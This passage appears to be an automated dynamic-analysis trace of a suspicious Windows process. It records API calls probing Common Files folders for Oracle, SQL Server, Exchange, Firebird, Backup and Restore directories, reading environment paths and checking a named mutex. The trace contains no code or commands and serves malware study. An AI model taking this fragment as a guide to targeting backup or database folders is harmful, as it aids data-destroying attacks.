Shared\\Source Engine\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\source engine\\") returned 0x3d [0050.106] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\ꠘRP") returned 6 [0050.107] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0050.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@婴U企@\x18?T\x18y")) returned 0xffffffff [0050.107] GetLastError () returned 0x2 [0050.107] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\source engine\\") returned 0x3d [0050.107] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0050.107] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0050.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@℔R企@\x18?T\x18\x81")) returned 0xffffffff [0050.107] GetLastError () returned 0x2 [0050.107] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\source engine\\") returned 0x3d [0050.107] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0050.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0050.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@册U企@\x18?T\x18\x88")) returned 0xffffffff [0050.108] GetLastError () returned 0x2 [0050.108] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\source engine\\") returned 0x3d [0050.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0050.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0050.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@婴U企@\x18?T\x18\x8f")) returned 0xffffffff [0050.108] GetLastError () returned 0x2 [0050.108] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\source engine\\") returned 0x3d [0050.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0050.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0050.109] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@℔R企@\x18?T\x18\x97")) returned 0xffffffff [0050.109] GetLastError () returned 0x2 [0050.109] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\source engine\\") returned 0x3d [0050.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0050.109] GlobalLock (hMem=0x440004) returned 0x550170 [0050.109] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.109] GlobalUnlock (hMem=0x440004) returned 0 [0050.109] GlobalLock (hMem=0x440004) returned 0x550170 [0050.109] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.109] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.110] GlobalUnlock (hMem=0x440004) returned 0 [0050.110] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.110] GlobalUnlock (hMem=0x44000c) returned 0 [0050.110] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\source engine\\") returned 0x3d [0050.110] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0050.110] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\source engine\\") returned 0x3d [0050.110] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0050.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0050.110] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\source engine\\") returned 0x3d [0050.110] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0050.110] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\source engine\\") returned 0x3d [0050.110] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0050.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0050.111] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.111] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.111] GlobalUnlock (hMem=0x44000c) returned 0 [0050.111] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.111] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.111] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.111] GlobalUnlock (hMem=0x44000c) returned 0 [0050.111] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.111] GlobalUnlock (hMem=0x440004) returned 0 [0050.111] GlobalLock (hMem=0x440004) returned 0x550170 [0050.111] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.111] GlobalUnlock (hMem=0x440004) returned 0 [0050.111] GlobalLock (hMem=0x440004) returned 0x550170 [0050.111] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.111] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.111] GlobalUnlock (hMem=0x440004) returned 0 [0050.111] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.111] GlobalUnlock (hMem=0x44000c) returned 0 [0050.111] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0050.111] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.111] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0050.111] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0050.111] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.111] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.111] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.111] GlobalUnlock (hMem=0x44000c) returned 0 [0050.112] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.112] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.112] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.112] GlobalUnlock (hMem=0x44000c) returned 0 [0050.112] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.112] GlobalUnlock (hMem=0x440004) returned 0 [0050.112] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.112] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0050.112] GlobalLock (hMem=0x440004) returned 0x550170 [0050.112] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.112] GlobalUnlock (hMem=0x440004) returned 0 [0050.112] GlobalLock (hMem=0x440004) returned 0x550170 [0050.112] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.112] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.112] GlobalUnlock (hMem=0x440004) returned 0 [0050.112] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.112] GlobalUnlock (hMem=0x44000c) returned 0 [0050.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0050.112] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0050.112] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.112] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.112] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.112] GlobalUnlock (hMem=0x44000c) returned 0 [0050.113] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.113] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.113] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.113] GlobalUnlock (hMem=0x44000c) returned 0 [0050.113] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.113] GlobalUnlock (hMem=0x440004) returned 0 [0050.113] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.113] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.113] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.113] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.113] GlobalLock (hMem=0x440004) returned 0x550170 [0050.113] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.113] GlobalUnlock (hMem=0x440004) returned 0 [0050.113] GlobalLock (hMem=0x440004) returned 0x550170 [0050.113] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.113] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.113] GlobalUnlock (hMem=0x440004) returned 0 [0050.113] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.113] GlobalUnlock (hMem=0x44000c) returned 0 [0050.113] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.113] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0050.113] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.113] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.113] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.113] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.113] GlobalUnlock (hMem=0x44000c) returned 0 [0050.113] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.113] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.113] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.113] GlobalUnlock (hMem=0x44000c) returned 0 [0050.114] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.114] GlobalUnlock (hMem=0x440004) returned 0 [0050.114] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.114] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0050.114] GetLastError () returned 0x12 [0050.114] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0050.114] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0050.114] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0050.114] GlobalLock (hMem=0x440004) returned 0x550170 [0050.114] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.114] GlobalUnlock (hMem=0x440004) returned 0 [0050.114] GlobalLock (hMem=0x440004) returned 0x550170 [0050.114] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.114] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.114] GlobalUnlock (hMem=0x440004) returned 0 [0050.114] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.114] GlobalUnlock (hMem=0x44000c) returned 0 [0050.114] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.114] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.114] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.114] GlobalUnlock (hMem=0x44000c) returned 0 [0050.114] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.114] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.114] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.114] GlobalUnlock (hMem=0x44000c) returned 0 [0050.114] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.114] GlobalUnlock (hMem=0x440004) returned 0 [0050.114] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.115] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery", len=0x39 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery") returned 1 [0050.115] GlobalLock (hMem=0x440004) returned 0x550170 [0050.115] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.115] GlobalUnlock (hMem=0x440004) returned 0 [0050.115] GlobalLock (hMem=0x440004) returned 0x550170 [0050.115] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.115] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.115] GlobalUnlock (hMem=0x440004) returned 0 [0050.115] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.115] GlobalUnlock (hMem=0x44000c) returned 0 [0050.115] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@埼U埐U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0050.118] GetLastError () returned 0x3 [0050.118] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@坜U企@\x18㿬Q\x181")) returned 0xffffffff [0050.119] GetLastError () returned 0x2 [0050.120] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@册U企@\x18?T\x18;")) returned 0xffffffff [0050.122] GetLastError () returned 0x2 [0050.122] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@婴U企@\x18?T\x18D")) returned 0xffffffff [0050.123] GetLastError () returned 0x2 [0050.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@坜U企@\x18册U\x18j")) returned 0xffffffff [0050.126] GetLastError () returned 0x2 [0050.126] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@婴U企@\x18?T\x18q")) returned 0xffffffff [0050.127] GetLastError () returned 0x2 [0050.128] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, 